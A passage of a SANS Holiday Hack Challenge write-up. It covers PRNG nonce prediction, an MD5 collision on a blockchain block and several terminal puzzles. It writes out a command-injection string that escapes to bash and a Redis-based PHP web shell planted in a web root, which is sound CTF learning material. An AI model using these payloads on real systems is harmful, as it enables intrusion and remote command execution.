nonce are 64-bit numbers. The previous work we did was with 32-bit numbers. Perhaps the random numbers
generated by the Mersenne Twister are joined in some way to make a 64-bit number out of two 32-bit numbers.
We can use the existing mt19937.py and naughty_nice.py to write a short script and test to see if the numbers are
concatenated in a certain order.
SANS HHC: Challenge and Terminal Assessment Report
#!/usr/bin/python
import naughty_nice as nn
import mt19937 as mt
chain = nn.Chain(load=True)
m = mt.mt19937(0)
nonces = []
subchain = chain.blocks[0:312]
actual = chain.blocks[312].nonce
# grab the 64-bit nonces from blocks 0 to 311 (312 blocks total)
for block in subchain:
nonces.append(block.nonce)
def firstsecond(lr):
srf = []
srs = []
mpf = mt.mt19937(0)
mps = mt.mt19937(0)
for i in lr:
# get the lower 32 bits of the nonce
second = i & 0xffffffff
# get the upper 32 bits of the nonce
first = i >> 32
# order the numbers so that the upper 32 bits are first and lower second
srf.append(first)
srf.append(second)
# order the numbers so that the lower 32 bits are first and upper second
srs.append(second)
srs.append(first)
# initialize mt19937 objects with the to different orderings of numbers
for i in range(0,len(srf)):
mpf.MT[i] = mt.untemper(srf[i])
for i in range(0,len(srs)):
mps.MT[i] = mt.untemper(srs[i])
# generate the four different combinations of contacts and predictions
# test to see which of the four combinations matches the next
# nonce by printing to screen
fsfirst = mpf.extract_number()
print(fsfirst)
fssecond = mpf.extract_number()
print(fssecond)
sffirst = mps.extract_number()
print(sffirst)
sfsecond = mps.extract_number()
print(sfsecond)
print("first second first second - predict: {} actual:{}", (fsfirst<<32)|
(fssecond), actual)
print("first second second first - predict: {} actual:{}", (fssecond<<32)|
(fsfirst), actual)
print("second first first second - predict: {} actual:{}", (sffirst<<32)|
(sfsecond), actual)
print("second first second first - predict: {} actual:{}", (sfsecond<<32)|
(sffirst), actual)
firstsecond(nonces)
# second first second first
# in other words lower bytes first, upper bytes second second:first
SANS HHC: Challenge and Terminal Assessment Report
Looking at the results, we see that the first number generated always makes up the upper 32-bits of the nonce
and the second number generated always makes up the lower 32-bits of the nonce.
Using this we can write another script which will take the last 312 nonces and use those to predict block id
130000.
Now that we have predicted the nonce for block 130000 we can enter the value into our badge for this objective
and earn the achievement Naughty/Nice List with Blockchain Investigation Part 1.
$ ./test_rand_predict.py
2940097750
1628557833
3957348375
3514278914
first second first second - predict: {} actual:{} 12627623684921741833
15093713008609744919
first second second first - predict: {} actual:{} 6994602635319727318
15093713008609744919
second first first second - predict: {} actual:{} 16996681853018022914
15093713008609744919
second first second first - predict: {} actual:{} 15093713008609744919
15093713008609744919
#!/usr/bin/python
import naughty_nice as nn
import mt19937 as mt
PREDICT_BLOCK_ID = 130000
chain = nn.Chain(load=True)
m = mt.mt19937(0)
subchain = chain.blocks[-312:]
nonces = []
for block in subchain:
nonces.append(block.nonce)
rands = []
for i in nonces:
rands.append(i & 0xffffffff)
rands.append(i >> 32)
for i in range(0,len(rands)):
m.MT[i] = mt.untemper(rands[i])
for i in range(chain.blocks[len(chain.blocks)-1].index+1,(PREDICT_BLOCK_ID+1)):
first = m.extract_number()
second = m.extract_number()
# print(first)
# print(second)
if(i == PREDICT_BLOCK_ID):
print("Block ID ", i, "nonce is: ", hex((second << 32) | first))
# else:
# print("Block ID ", i, "nonce is: ", hex((second << 32) | first))
...
$ ./predict_nonce.py
Block ID 130000 nonce is: 0x57066318f32f729d
SANS HHC: Challenge and Terminal Assessment Report
2.13 Objective 11b – Naughty/Nice List with Blockchain
Investigation Part 2
In this final challenge, we are tasked with finding a manipulated block for which a hash collision has been
generated and restoring that block to it’s original state.
We are given the following hints to help us along the way:
• Blockchain … Chaining - A blockchain works by "chaining" blocks together - each new block includes
a hash of the previous block. That previous hash value is included in the data that is hashed - and that
hash value will be in the next block. So there's no way that Jack could change an existing block without
it messing up the chain…
• Blockchain Talk – Qwerty Petabyte is giving a talk about blockchain tomfoolery.
• Block Investigation – The idea that Jack could somehow change the data in a block without invalidating
the whole chain just collides with the concept of hashes and blockchains. While there’s no way it could
happen, maybe if you look at the block that seems like it got changed, it might help.
• Unique Hash Collision – If Jack was somehow able to change the contents of the block AND the
document without changing the hash… the would require a very UNIque hash COLLision.
• Imposter Block Event – Shinny Upatree swears that he doesn’t remember writing the contents of the
document found in that block. Maybe looking closely at the documents, you might find something
interesting.
• Minimal Changes – Apparently Jack was able to change just 4 bytes in the block to completely change
everything about it. It’s like some sort of evil game to him.
• Given in dialog – the block we are looking for has the highest nice score you can have of
After reviewing all the material we have available as part of this challenge, there are a few things we should
consider. First, as we are told that this a UniCOLL collision has been performed, we are probably looking at
only two bytes that have been changed either by +1 or -1 in order to change the content of the whole block.
Second, the other two bytes are probably in a random data in the block, so we are really looking for two
meaningful changes. Third, based on the information, one is probably in the block data itself and one is in the
document. Finally we are told in dialog with Tinsel Upatree that Jack Frost has the highest possible nice score
which is way over 4,294,967,395. Let’s use the Python interpreter to the load the chain and search for a block
with a score over 1,000,000 because we have to actually find the modified block before we can start
investigating.
SANS HHC: Challenge and Terminal Assessment Report
It looks like our bad block is at index 1010 in the Python list and has the block index of 129459. Looking over
the block we notice some strange things that may indicate where the changes have been made. Those changes
are the score may have been overflowed, perhaps by changing one bit. Also, the sign is nice. It probably should
be naughty considering who we are dealing with. Both of those could potentially be changed by only changing
one bit or byte . So right now there are two potential candidates for changes in the block, the score and the
naughty/nice sign. A definite third candidate based on hints should be in one of the documents. The second
document which appears to be a PDF document is probably likely. The first document looks like junk after
dumping it and looking for meaningful data. Let’s dump the second document and look through it to see if we
see anything odd.
When looking through the dumped document in a hex editor, we see that there appears to be two paths through
the document in the first object (Catalog). The Catalog object can either refer to the second or third object and
each object has different paths through the document depending on whether the value of Pages is 2 0 or 3 0
If the value is two we get this content:
>>> import naughty_nice as nn
>>> chain = nn.Chain(load=True)
>>> blocks = chain.blocks
>>> for i in range(0, len(blocks)):
... if blocks[i].score > 100000:
... print("Index: ", i)
... print(blocks[i].index)
...
Index: 1010
129459
f = open("document.pdf","wb")
f.write(blocks[1010].data[1]['data'])
f.close()
1 0 obj
<</Type/Catalog/_Go_Away/Santa/Pages 2 0 R
...
2 0 obj
<</Type/Pages/Count 1/Kids[23 0 R]>>
endobj
3 0 obj
<</Type/Pages/Count 1/Kids[15 0 R]>>
endobj
“Jack Frost is the kindest, bravest, warmest, most wonderful being I’ve ever known
in my life.”
– Mother Nature
“Jack Frost is the bravest, kindest, most wonderful, warmest being I’ve ever known
in my life.”
– The Tooth Fairy
“Jack Frost is the warmest, most wonderful, bravest, kindest being I’ve ever known
in my life.”
– Rudolph of the Red Nose
“Jack Frost is the most wonderful, warmest, kindest, bravest being I’ve ever known
in my life.”
– The Abominable Snowman
With acclaim like this, coming from folks who really know goodness when they see
it, Jack Frost
should undoubtedly be awarded a huge number of Naughty/Nice points.
Shinny Upatree
3/24/2020
SANS HHC: Challenge and Terminal Assessment Report
If the value is three we get this content:
The good news is that we now know the two meaningful bytes that have been changed thanks to Shinny
Upatree’s report and looking at the internals of the PDF document. The first bytes is the naughty/nice sign. Jack
Frost clearly should have the maximum naughty score for kicking that wombat. The second is the byte that
controls which content is displayed in the PDF document. Each was either incremented or decremented by one.
With the rules of UniCOLL it also means that we must modify the bytes that is 0x40 bytes forward from the one
modified. Let’s dump the block_data so we can hash and edit the data in a hex editor.
If we hash this dumped file out we find it matches the hash in the Data Hash to Sign: field of the block:
This is good, this means we can test if the bytes we change will change the hash. Viewing the file in a hex editor
we find that the naughty nice sign is located at offset 0x49 and we must subtract 1 from the byte to change the
sign back to naughty. This also means we must add 1 to the byte at 0x89. The second byte is located at 0x109
and we must add 1 to this to change the PDF catalog objective from 2 0 to 3 0. Because we are adding to this
byte, we must also subtract from the byte located at 0x149. The table below show the changes that must be
made. And the image below that shows an xxd dump of the changes after they have been made.
0x49 = (0x31 → 0x30)
0x89 = (0xD6 → 0xD7)
0x109 = (0x32 → 0x33)
0x149 = (0x1C → 0x1B)
“Earlier today, I saw this bloke Jack Frost climb into one of our cages and
repeatedly kick a wombat. I don’t know what’s with him… it’s like he’s a few
stubbies short of a six-pack or somethin’. I don’t think the wombat was actually
hurt… but I tell ya, it was more ‘n a bit shook up. Then the bloke climbs outta
the cage all laughin’ and cacklin’ like it was some kind of bonza joke. Never in my
life have I seen someone who was that bloody evil…” Quote from a Sidney (Australia)
Zookeeper I have reviewed a surveillance video tape showing the incident and found
that it does, indeed, show that Jack Frost deliberately traveled to Australia just
to attack this cute, helpless animal. It was appalling. I tracked Frost down and
found him in Nepal. I confronted him with the evidence and, surprisingly, he seems
to actually be incredibly contrite. He even says that he’ll give me access to a
digital photo that shows his “utterly regrettable” actions. Even more remarkably,
he’s allowing me to use his laptop to generate this report – because for some
reason, my laptop won’t connect to the WiFi here. He says that he’s sorry and needs
to be “held accountable for his actions.” He’s even said that I should
give him the biggest Naughty/Nice penalty possible. I suppose he believes that by
cooperating with me, that I’ll somehow feel obliged to go easier on him. That’s not
going to happen… I’m WAAAAY smarter than old Jack. Oh man… while I was writing this
up, I received a call from my wife telling me that one of the pipes in
our house back in the North Pole has frozen and water is leaking everywhere. How
could that have happened? Jack is telling me that I should hurry back home. He says
I should save this document and then he’ll go ahead and submit the full report for
me. I’m not completely sure I trust him, but I’ll make myself a note and go in and
check to make absolutely sure he submits this properly.
Shinny Upatree
3/24/2020
>>> f = open("block", "wb")
>>> f.write(blocks[1010].block_data())
>>> f.close()
Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
$ md5sum block
347979fece8d403e06f89f8633b5231a
SANS HHC: Challenge and Terminal Assessment Report
We can now hash the file again to make sure that the changes made to the file have not changed the hash.
Now that we have verified the collision and changed the block to its original value, there is one more step. The
SHA256 given in the objective is actually of the signed block data and not the block data. All this means in that
the hex coded signature needs to be added to the end of this file or the signed block needs to be dumped and the
appropriate bytes changed in that file. Let’s go ahead and dump the signed block and use the same process
above to change the appropriate bytes.
This final sha256sum is the answer to Objective 11b and can be submitted to the objective on the badge to
complete all objectives and challenges and to earn the achievement Naughty/Nice List with Blockchain
Investigation Part 2.
Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
$ md5sum block
347979fece8d403e06f89f8633b5231a
>>> f = open("signed_block", "wb")
>>> f.write(blocks[1010].block_data_signed())
>>> f.close()
>>> from Crypto.Hash import MD5, SHA256
>>> hash = SHA256.new()
>>> hash.update(chain.blocks[1010].block_data_signed())
>>> hash.hexdigest()
'58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
...
# hash of dump signed block in file
$ sha256sum signed_block
58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f signed_block
...
# sha256sum of signed_block in file after changes
$ sha256sum signed_block
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb signed_block
SANS HHC: Challenge and Terminal Assessment Report
2.14 End Game
All of the technical challenges have been completed, but there is still one more thing that needs to be done. All
of the final challenges have required you to be Santa. In order to unlock the final achievement, you must
become yourself, enter Santa’s office and go the back balcony. When this done, you receive the achievement
You Won! and gain access to the final piece of the narrative.
3 Terminals
3.1 Kringle Kiosk
This first terminal presents us with our challenge as part of the motd that is displayed upon opening the terminal
windows. The challenge is to escape to the /bin/bash shell from the menu. We are also given the following hint:
• Command Injection – There’s probably some kind of command injection vulnerability in the menu
terminal.
KringleCon back at the castle, set the stage...
But it's under construction like my GeoCities page.
Feel I need a passport exploring on this platform -
Got half floors with back doors provided that you hack more!
Heading toward the light, unexpected what you see next:
An alternate reality, the vision that it reflects.
Mental buffer's overflowing like a fast food drive-thru trash can.
Who and why did someone else impersonate the big man?
You're grepping through your brain for the portrait's "JFS"
"Jack Frost: Santa," he's the villain who had triggered all this mess!
Then it hits you like a chimney when you hear what he ain't saying:
Pushing hard through land disputes, tryin' to stop all Santa's sleighing.
All the rotting, plotting, low conniving streaming from that skull.
Holiday Hackers, they're no slackers, returned Jack a big, old null!
SANS HHC: Challenge and Terminal Assessment Report
By entering & /bin/bash in the menu after selecting item four we can escape to BASH.
The achievement Kringle Kiosk is awarded for completing this terminal:
3.2 Unescape Tmux
In this second terminal, Pepper Minstix has lost his Tmux session and must reconnect. This is a fairly easy
terminal to solve when given the hint, which links to a Tmux command cheat sheet.
• Tmux Cheat Sheet – There’s a handy tmux reference available at https://tmuxcheatsheet.com/!
Running the following commands allows the user to reconnect to the disconnected Tmux session and find the
elf’s Green Cheek:
The achievement Unescape Tmux is awarded for completing this terminal:
3.3 Linux Primer
The Linux Primer terminal is a simple walk through of the Linux CLI and command Linux commands in Bash.
The terminal asks you to complete task using Linux commands and moves you to the step once you have
correctly entered a command. The challenge consists of series of 21 tasks you must complete. The entirety of
the challenge including correct commands are listed below:
1. Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit
...
Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...&
/bin/bash
___ _
/ __| _ _ __ __ ___ ___ ___ | |
__  | +| | / _| / _| / -_) (_-< (_-< |_|
|___/ _,_| __|_ __|_ ___| /__/_ /__/_ _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
...
shinny@407825a33647:~$
Can you help me?
I was playing with my birdie (she's a Green Cheek!) in something called tmux,
then I did something and it disappeared!
Can you help me find her? We were so attached!!
elf@22396929e298:~$ tmux ls
0: 1 windows (created Mon Dec 21 19:15:41 2020) [80x24]
elf@22396929e298:~$ tmux a
...
You found her! Thank you!!!
SANS HHC: Challenge and Terminal Assessment Report
2. Now find the munchkin inside the munchkin.
3. Great, now remove the munchkin in your home directory.
4. Print the present working directory using a command.
5. Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!
6. Excellent, now find the munchkin in your command history.
7. Find the munchkin in your environment variables.
8. Next, head into the workshop.
9. A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox
the munchkin is in.
10. A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this
munchkin.
elf@d2c08765bba4:~$ dir
HELP munchkin_19315479765589239 workshop
elf@d2c08765bba4:~$ cat munchkin_19315479765589239
munchkin_24187022596776786
elf@d2c08765bba4:~$ rm munchkin_19315479765589239
elf@d2c08765bba4:~$ pwd
/home/elf
elf@d2c08765bba4:~$ ls -a
. .. .bash_history .bash_logout .bashrc .munchkin_5074624024543078 .profile
HELP workshop
elf@d2c08765bba4:~$ history
1 echo munchkin_9394554126440791
...
elf@d2c08765bba4:~$ printenv
...
z_MUNCHKIN=munchkin_20249649541603754
...
elf@d2c08765bba4:~$ cd workshop/
elf@d2c08765bba4:~/workshop$ ls
toolbox_0.txt toolbox_136.txt toolbox_174.txt toolbox_211.txt toolbox_25.txt
toolbox_288.txt toolbox_325.txt toolbox_363.txt
...
elf@d2c08765bba4:~/workshop$ grep -i munchkin *
grep: electrical: Is a directory
toolbox_191.txt:mUnChKin.4056180441832623
SANS HHC: Challenge and Terminal Assessment Report
11. Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename
blown_fuse0 to fuse0.
12. Now, make a symbolic link (symlink) named fuse1 that points to fuse0
13. Make a copy of fuse1 named fuse2.
14. We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into
the file fuse2.
15. Find the munchkin somewhere in /opt/munchkin_den.
16. Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.
17. Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located
somewhere in /opt/munchkin_den.
18. List running processes to find another munchkin.
19. The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port
display to the screen.
elf@d2c08765bba4:~/workshop$ chmod a+x lollipop_engine
elf@d2c08765bba4:~/workshop$ ./lollipop_engine
elf@a4d187c81ba3:~/workshop$ cd ~/workshop/electrical/
elf@a4d187c81ba3:~/workshop/electrical$ ls
blown_fuse0
elf@a4d187c81ba3:~/workshop/electrical$ mv blown_fuse0 fuse0
elf@a4d187c81ba3:~/workshop/electrical$ ln -s fuse0 fuse1
elf@a4d187c81ba3:~/workshop/electrical$ cp fuse1 fuse2
elf@a4d187c81ba3:~/workshop/electrical$ echo "MUNCHKIN_REPELLENT" > fuse2
elf@a4d187c81ba3:/opt/munchkin_den$ find . -name munchkin
elf@a4d187c81ba3:/opt/munchkin_den$ find . -user munchkin
./apps/showcase/src/main/resources/template/ajaxErrorContainers/
niKhCnUm_9528909612014411
elf@a4d187c81ba3:/opt/munchkin_den$ find . -size +108k -size -110k
./plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
elf@a4d187c81ba3:/opt/munchkin_den$ ps -ef
UID PID PPID C STIME TTY TIME CMD
init 1 0 0 19:48 pts/0 00:00:00 /usr/bin/python3
/usr/local/bin/tmuxp load ./mysession.yaml
elf 20439 20434 0 20:01 pts/2 00:00:00 /usr/bin/python3 /14516_munchkin
elf 21519 189 0 20:01 pts/3 00:00:00 ps -ef
elf@a4d187c81ba3:/opt/munchkin_den$ netstat -an | grep LISTEN
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
unix 2 [ ACC ] STREAM LISTENING 358877793 /tmp/tmux-1050/default
SANS HHC: Challenge and Terminal Assessment Report
20. The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.
21. Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.
Congratulations, you caught all the munchkins and retrieved all the lollipops!
Type "exit" to close…
Once you have successful entered all the Linux shell commands you are awarded the Linux Primer achievement.
3.4 The Elf Code
The next terminal shows up as an arcade style cabinet located in the dining room. Upon opening the terminal the
user is presented with instructions indicating that you must use JavaScript code to help the and elf retrieve
lollipops from munchkins who have nabbed them. There are eight total levels with six normal levels and two
bonus levels. Each level consists of a gameboard made up of a square grid. Your objective is to use code to
move to lollipop and then to the exit. Along the way you may encounter switches which arm or disarm traps and
munchkins who you must pacify by answering their question in the form of some sort of algorithm or sorted
array, hash, or object. The levels also give the player certain constraints, such as the number of lines of code that
can be used or the number of times certain functions can be called. Below are some JavaScript fragments that
allow a player to complete each of the eight levels. The following hints are also given for the game:
• Getting a Key Name – In JavaScript you can enumerate an object’s keys using keys, and filter the array
using filter.
• JavasScript Loops – Did you try the JavaScript primer? There’s a great section on looping.
• Javascript Primer – Want to learn a useful language? JavaScript is a great place to start! You can also
test out your code using a JavaScript playground.
• Compressing JS – There are lots of ways to make your code shorter, but the number of elf command is
key
• Filtering Items – There’s got to be a way to filter for specific typeof items in an array. Maybe the
teypof operator could also be useful?
• Adding to Arrays - var array = [2,3,4]; array.push(1) doesn’t do QUITE what was intended...
1. In the first level, the player must program the elf to the end goal in no more than 2 lines of code and no more
than 2 elf commands.
elf@a4d187c81ba3:/opt/munchkin_den$ curl -X GET http://localhost:54321
elf@a4d187c81ba3:/opt/munchkin_den$ ps -ef | grep munchkin
elf 20439 20434 0 20:01 pts/2 00:00:00 /usr/bin/python3 /14516_munchkin
elf 25137 189 0 20:04 pts/3 00:00:00 grep --color=auto munchkin
elf@a4d187c81ba3:/opt/munchkin_den$ kill -9 20439
elf@a4d187c81ba3:/opt/munchkin_den$ exit
SANS HHC: Challenge and Terminal Assessment Report
The solution to this problem is fairly simple. Move the elf to the left ten spaces and up ten spaces. The code
shown meets the requirements of only two lines of code and two elf commands.
2. In the second level you must program the elf to the end goal in no more than 5 lines of code and no more than
5 elf command/function execution statements in your code. Using the lever requires the player to add 2 to the
returned numeric value of running the function elf.get_lever(0)
The solution to this second level is also fairly simple. Simply move left to the lever, get the value returned from
the get_lever function, add two to that value, submit that value to the lever to deactivate the trap, move left four
spaces and then up ten spaces. The code to accomplish this task is shown below:
3. The third level requires the player to program the elf to the end goal in no more than 4 lines of code and no
more than 4 elf command/function execution statements in their code.
elf.moveLeft(10)
elf.moveUp(10)
elf.moveLeft(6)
elf.pull_lever(elf.get_lever(0)+2)
elf.moveLeft(4)
elf.moveUp(10)
SANS HHC: Challenge and Terminal Assessment Report
The solution to this problems means that instead of having the elf move by defining the number of directional
functions to issue, we can no solve problems by telling the elf to move to a certain object in one command, and
the directional movements are complete automatically. The code below solves the level using
elf.moveTo(lollipop[n]) commands.
4. In the fourth level, you must begin to use more complex code. To solve this level, you must program the elf to
the end goal in no more than 7 lines of code and no more than 6 elf command/function execution statements in
your code.
One of the interesting things about this game is that if you encounter a barrier but still have more
moves to make in that direction, those moves are nullified. We can use this quark to our advantage to simplify a
for loop that both meets the requirements and solves the problem. The solution is shown below:
elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)
for(var i = 0; i < 3; i++) {
elf.moveLeft(3)
elf.moveUp(11)
elf.moveLeft(3)
elf.moveDown(11)
}
SANS HHC: Challenge and Terminal Assessment Report
5. In this fifth level, you will encounter you first munchkins. You will be required to ask the munchkin a
question and return and answer. So you must program the elf to the end goal in no more than 10 lines of code
and no more than 5 elf command/function execution statements in your code. You must also ask the munckin for
information using elf.ask_much(0) and the elf will send you an array of numbers and strings similar to: [1, 3,
"a", "b", 4] Return an array that contains only numbers from the array that the munchkin gives you.
Adding to the statements that have already been used, you should now use a filter function on the array which
compares each number to a truth statement, in this case, whether the object in an index is a number or not. If the
object is a number, the Number.isInteger(num) function returns true and the object is added to the array that is
return, if not, the object is excluded from the returned array. The solution to this level is shown below:
6. In this level you must program the elf to the end goal in no more than 15 lines of code and no more than 7 elf
command/function execution statements in your code.
There are actually two distinct solutions to this level after collecting the lollipops. The first involves activating
the trap with the switch which the munchkin then falls into. In the second you answer the munchkins question
which finding the value lollipop and returning the key of that value in a JSON object. Both solution are listed
below:
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
elf.tell_munch(elf.ask_munch(0).filter(num => Number.isInteger(num)))
elf.moveUp(2)
SANS HHC: Challenge and Terminal Assessment Report
7. Level seven is the first of two bonus levels. These levels are more complex than those levels needed as part of
the core challenge. The goal of this level is to program the elf to the end goal in no more than 25 lines of code
and no more than 10 elf command/function execution statements in the code.
The solution to this is problem is tricky because it if the commands are given one at a time, then we have many
more than 10 elf commands. One possible way around this is to use an array of function pointers. In this case
we will create three arrays, one array is an array of function pointers, one array stores the index of function
pointers in the order we want to execute them and one array stores the values passed to the functions. This
allows us to shorten our code using a for loop. The other problem that must be solved is the munchkin question.
To answer this question we must pass a function as the answer and that function must sum all numbers in the
child arrays of a nested array. The solution to this problem is found below:
//This algorithm is used to solve the level by using the lever
for (var i = 0; i <= 3; i++) {
elf.moveTo(lollipop[i])
}
elf.moveTo(lever[0])
a = elf.get_lever(0)
a.unshift("munchkins rule")
elf.pull_lever(a)
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(3)
//This algorithm is used to solve the level by answering the munchkins question
for(var i = 0; i<=3; i++) {
elf.moveTo(lollipop[i])
}
elf.moveTo(munchkin[0])
var p = elf.ask_munch(0)
for (key in p) {
if (p[key] == "lollipop") {
elf.tell_munch(key);
}
}
elf.moveUp(2)
SANS HHC: Challenge and Terminal Assessment Report
8. This final bonus level represents the most complex level yet. The player must use everything they have
learned up until this point and more. The player must program the elf to the end goal in no more than 40 lines of
code and no more than 10 elf command/function execution statements in the code. There are also two additional
problems to solve. The first is that each lever must be passed the sum of the current switch and every previous
flipped lever as well. The second problem is that the munchkin will return a randomized array containing an
array of JSON objects. The player must return the key name associated with the value lollipop found in one of
the array.
The solution to this level contains multiple elements that have been previously used. We will use another set of
arrays containing function pointers, function indexes, and function values to compress the code. We will also
build a summing function into the loop and another function that iterates through an array of JSON objects
looking for the value lollipop and returning the key name associated with that value. The solution to this level is
found below:
function sumArr(x) {
var sum = 0;
for (var i = 0; i < x.length; i++) {
arr = x[i].filter(num => Number.isInteger(num));
for(var j = 0; j < arr.length; j++) {
sum = sum + arr[j];
}
}
return sum;
}
var p = [elf.moveUp, elf.moveDown, elf.moveLeft, elf.moveRight, elf.get_lever,
elf.pull_lever, elf.tell_munch]
var f = [1, 4, 5, 2, 4, 5, 0, 4, 5, 3, 4, 5, 1, 4, 5, 2, 4, 5, 0, 4, 5, 3, 0, 2,
6,0]
var a = [1, 0, 0, 2, 1, 1, 3, 2, 2, 4, 3, 3, 5, 4, 4, 6, 5, 5, 7, 6, 6, 8, 2, 4,
sumArr,2]
for (var i = 0; i < f.length; i++) {
p[f[i]](a[i])
}
SANS HHC: Challenge and Terminal Assessment Report
Completing level completes the entire challenge/game. There are two achievement associated with this terminal
challenge. The first is given for completing the normal levels and is called Elf Coder, the second is given from
completing the bonus levels and is called Expert Elf Coder.
3.5 33.6kbps
In this challenge, located in the kitchen, you are asked by Fizzy Shortstack to help him remember the
series of sounds that are made by a modem. This is used to update the Christmas lights around the
castle. Fizzy Shortstack can speak modem but doesn’t remember the sequence. You are given and
audio clip of the modem connection sequence and a clickable note those show major groups of sounds
made by the client. You must click each sound in the correct order and at the correct time to complete
the connection after dialing the right number on the virtual phone.. This terminal challenge is fairly
easy for those of us who would dial up AOL on Friday night after curfew to chat and play multiplayer
games. A picture of the interface is shown below along with the correct sequence of sounds.
The correct sequence of sounds is shown below:
Dial Number: 756-8347
1. baa DEE brrrr (in response to the first beep)
2. aahhhh (in response to the second beep)
function findLolli(x) {
for (var i = 0; i <= x.length; i++) {
p = x[i];
for (key in x[i]) {
if (p[key] == "lollipop") {
return key;
}
}
}
}
var sum = 0
var p = [elf.moveUp, elf.moveDown, elf.moveLeft, elf.moveRight, elf.get_lever,
elf.pull_lever, elf.tell_munch]
var f = [3, 4, 0, 2, 4, 0, 3, 4, 0, 2, 4, 0, 3, 4, 0, 2, 4, 0, 6, 3]
var a = [1, 0, 2, 3, 1, 3, 5, 2, 3, 7, 3, 3, 9, 4, 3, 11, 5, 3, findLolli, 11]
for (var i = 0; i < f.length; i++) {
if (f[i] != 4)
p[f[i]](a[i])
else {
sum = sum + p[f[i]](a[i])
p[5](sum)
}
}
SANS HHC: Challenge and Terminal Assessment Report
3. wewewwwrrrwwwrr (simultaneous with warbling noice after the second beep)
4. beDURRdunditty (In response to a series of beeps)
5. SCHHRRHHRTHRTR (simultaneous with the white noise after the final series of beeps)
After completing this terminal correctly you are awarded the 33.6 Kbps achievement.
3.6 Redis Bug Hunt
The Redis Bug Hunt terminal is also located in the kitchen along with the 33.6kbps challenge. In this challenge,
access to a web server has been lost. The only remaining access is a web page that acts as a command front end
to a Redis service. Commands can be directly issued to the Redis server through this maintenance page. The
challenge is to get access (view) the index.php page and find a bug. We are also given the following hint which
links to web site explaining how to perform a Redis RCE:
• Redis RCE – This is kid of what we’re trying to do - https://book.hacktricks.xyz/pentesting/6379-
pentesting-redis
The first step in the process is finding out whether or not Redis is running on the localhost. The following
command checks for the Redis service running on port 6379.
We find the service is indeed running on the local system. Let’s pull down the maintenance page to see what we
can do with it.
It looks like we can use the HTTP parameter cmd to issues commands to Redis. This could be used to directly
write files to the web root and allow us to access commands, but to make things easier, lets see if we can find a
way to directly interact with Redis. Displaying the Redis configuration yields the password.
Now we can interact directly with the Redis service and write a database file in the web root containing PHP
code which then can retrieve the index.php page.
Finally, we can retrieve the test.php file we have written with curl and have the PHP code echo the index.php
page for us.
player@a7c555de6296:~$ netstat -an | grep LISTEN
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
player@a7c555de6296:~$ curl http://localhost/maintenance.php
ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1
player@a7c555de6296:~$
Running: redis-cli --raw -a '<password censored>' 'config' 'get' '*'
...
R3disp@ss
...
player@b2cb35d286e8:~$ redis-cli -a 'R3disp@ss'
127.0.0.1:6379> config set dir /var/www/html
127.0.0.1:6379> config set dbfilename test.php
127.0.0.1:6379> set test "<?php echo shell_exec($_REQUEST['cmd']) ?>"
127.0.0.1:6379> save
127.0.0.1:6379> exit
SANS HHC: Challenge and Terminal Assessment Report
After retrieving the index.php and viewing the bug (not quite the bug that was expected), we are awarded the
Redis Investigation achievement.
3.7 Speaker UNPrep
This terminal challenge is located on the balcony of the talks floor and solving the part of this challenge is
necessary to open the speaker unpreparedness room. The challenge consists of a series of three executables for
which you have to find the password to in order to open the door, turn on the lights, and enable the vending
machines. Finding the password for each executable increases in difficulty. We are given the following hints for
the first executable which opens the door.
• Strings in Binary Files – The strings command is common in Linux and available in Windows as part
of SysInternals.
Solving this challenge turns out to be fairly simple given that information. Running the following commands on
the executable results in the password being displayed.
The door is opened and the first of three achievements, Speaker Door Opened, is earned.
The second executable turns on the lights in the speaker unpreparedness room and the password is not located in
plaintext in the executable. The hint given provides direction.
• Letting a Program Decrypt for You – While you have to use the lights program in /home/elf/ to turn
the lights on, you can delete parts in /home/elf/lab/.
player@b2cb35d286e8:~$ curl -XGET http://localhost/test.php?cmd=cat%20index.php --
output test.txt
...
# We found the bug!!
#
#  /
# .-/.
# / () ()
# /~---~.-~^-.
# .-~^-./ | ---.
# { | } 
# .-~ | /~-.
# /  A / 
# / /
#
elf@bfa9d05540c5 ~ $ ls
door lab lights lights.conf vending-machines vending-machines.json
elf@bfa9d05540c5 ~ $ strings -n 12 door
...
That would have opened the door!
Be sure to finish the challenge in prod: And don't forget, the password is
"Op3nTheD00r"
Beep boop invalid password
...
elf@bfa9d05540c5 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
